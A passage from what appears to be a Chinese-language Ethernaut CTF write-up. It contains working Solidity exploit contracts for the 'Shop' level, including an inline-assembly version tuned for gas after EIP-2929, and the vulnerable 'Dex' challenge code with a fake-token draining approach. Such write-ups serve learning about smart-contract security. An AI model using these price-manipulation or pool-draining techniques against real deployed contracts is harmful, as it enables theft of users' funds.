失败版本

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Shop.sol";

contract ExploitShop1 {
    Shop private target = Shop(0xb19cAD5AD9895d3EECa44D55121277c8d5557B45);

    function attack() public {
        target.buy();
    }

    function price() public view returns (uint256 _price) {
        bool isSold = target.isSold();
        return isSold ? 0 : 100;
    }
}

失败分析

仿照题目 13.Gatekeeper One,通过 Geth VM Trace Transaction: 分析,可以看到第[324]步 ExploitShop.price() 因 gas 不足而异常,而 gas 消耗的大头在第[274]步 Shop.isSold() 中,参考 EIP-2929: Gas cost increases for state access opcodes,在首次从 storage 中加载 isSold 变量时,需要消耗的 gas 是 2100

而在 EIP-2929 之前的版本中,sload 仅需消耗 800 gas,剩余 gas 明显足够完成解题

Step PC Operation Gas GasCost Depth
[271] 113 JUMP 2233 8 4
[272] 411 JUMPDEST 2225 1 4
[273] 412 PUSH1 2224 3 4
[274] 414 SLOAD 2221 2100 4
[275] 415 PUSH1 121 3 4
[276] 417 AND 118 3 4
[277] 418 DUP2 115 3 4
[278] 419 JUMP 112 8 4
...
[319] 381 SWAP1 15 3 3
[320] 382 DUP1 12 3 3
[321] 383 DUP1 9 3 3
[322] 384 MLOAD 6 3 3
[323] 385 SWAP1 3 3 3
[324] 386 PUSH1 0 3 3
An error occurred during contract execution: exception
[325] 212 ISZERO 2921844 3 2

优化版本

再次分析 BYTECODE,发现失败版本距离成功需要的 gas,差距不是很大;而失败版本还有大量 gas 是消耗在做条件检查,所以尝试优化

首先尝试 Solidity 编译时的优化选项,调到最高后再次测试,还是失败...原因也很好理解:条件检查是必须的,无法优化

因此只能手写 assembly,跳过诸如目标地址是否存在代码,剩余 gas 是否足够等等条件检查,再次测试终于搞定..

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Shop.sol";

contract ExploitShop {
    Shop private target = Shop(0xb19cAD5AD9895d3EECa44D55121277c8d5557B45);

    function attack() public {
        target.buy();
    }

    function price() public view returns (uint256 _price) {
        assembly {
            mstore(0x80, 0xe852e74100000000000000000000000000000000000000000000000000000000)
            let success := staticcall(1000000, 0xb19cAD5AD9895d3EECa44D55121277c8d5557B45, 0x80, 4, 0x80, 32)

            switch success
            case 0 {
                revert(0, 100)
            }
            case 1 {
                let isSold := mload(0x80)
                switch isSold
                case 0 {
                    _price := 100
                }
                case 1 {
                    _price := 0
                }
            }
        }
    }
}

优化

  1. 变量一律设置为 private,确保合约被调用时,根据 selector dispatch 时不会检查多余函数
  2. isSold() 函数签名不通过 abi.encodeWithSelector() 计算,而是直接硬编码 0xe852e741
  3. staticcall() 第2个参数,目标合约不通过 sload(0) 加载 target,而是直接使用硬编码

潜在优化

最终存在两个公共函数,可以手动调整 RUNTIME BYTECODE dispatch 流程,优先处理 price()

22. Dex

题目

要起将 DEX 中的 token1token2 全部提取

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";

contract Dex {
    using SafeMath for uint256;
    address public token1;
    address public token2;

    constructor(address _token1, address _token2) public {
        token1 = _token1;
        token2 = _token2;
    }

    function swap(address from, address to, uint256 amount) public {
        require(
            IERC20(from).balanceOf(msg.sender) >= amount,
            "Not enough to swap"
        );
        uint256 swap_amount = get_swap_price(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swap_amount);
        IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
    }

    function add_liquidity(address token_address, uint256 amount) public {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function get_swap_price(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) /
            IERC20(from).balanceOf(address(this)));
    }

    function approve(address spender, uint256 amount) public {
        SwappableToken(token1).approve(spender, amount);
        SwappableToken(token2).approve(spender, amount);
    }

    function balanceOf(address token, address account) public view returns (uint256)
    {
        return IERC20(token).balanceOf(account);
    }
}

contract SwappableToken is ERC20 {
    constructor(string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
    }
}

contract DexFactory {
    function createInstance(address _player) public payable returns (address) {
        SwappableToken token_instance = new SwappableToken("Token 1", "TKN1", 110);
        SwappableToken token_instance_two = new SwappableToken("Token 2", "TKN2", 110);
        address token_instance_address = address(token_instance);
        address token_instance_two_address = address(token_instance_two);
        Dex instance = new Dex(token_instance_address, token_instance_two_address);

        token_instance.approve(address(instance), 100);
        token_instance_two.approve(address(instance), 100);
        instance.add_liquidity(address(token_instance), 100);
        instance.add_liquidity(address(token_instance_two), 100);
        token_instance.transfer(_player, 10);
        token_instance_two.transfer(_player, 10);
        return address(instance);
    }

    function validateInstance(address payable _instance, address) public view returns (bool) {
        address token1 = Dex(_instance).token1();
        address token2 = Dex(_instance).token2();
        return IERC20(token1).balanceOf(_instance) == 0 || ERC20(token2).balanceOf(_instance) == 0;
    }
}

题解

这个似乎不是什么漏洞,新建 token3 换取 token1 即可..